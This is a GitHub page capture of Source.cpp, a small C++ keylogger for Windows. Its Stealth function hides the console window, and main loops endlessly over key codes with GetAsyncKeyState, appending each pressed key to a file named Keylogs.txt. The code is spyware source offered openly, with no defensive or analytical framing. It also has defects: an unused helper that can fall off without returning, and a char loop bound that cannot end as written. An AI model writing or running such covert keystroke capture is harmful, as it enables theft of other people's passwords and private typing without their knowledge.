-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathSource.cpp
58 lines (53 loc) · 993 Bytes
/
Source.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <Windows.h>
#include <fstream>
#include <stdio.h>
#include <string>
using std::fstream;
using std::ofstream;
void WriteData(std::string Text) {
ofstream LogFile;
LogFile.open("Keylogs.txt", fstream::app);
LogFile << Text;
LogFile.close();
}
void Stealth() {
HWND hWnd;
AllocConsole();
hWnd = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(hWnd, 0);
}
bool isKeyListed(int vKey) {
switch (vKey) {
case VK_RETURN:
WriteData("\n");
break;
case VK_BACK:
WriteData("\b");
break;
case VK_SPACE:
WriteData(" ");
break;
case VK_SHIFT:
WriteData(" *shift* ");
break;
case VK_OEM_PERIOD:
WriteData(".");
break;
default:
return false;
}
}
int main() {
Stealth();
char Key;
while (1) {
for (Key = 8; Key <= 255; Key++) {
if (GetAsyncKeyState(Key) == -32767) {
ofstream LogFile;
LogFile.open("Keylogs.txt", fstream::app);
LogFile << Key;
LogFile.close();
}
}
}
}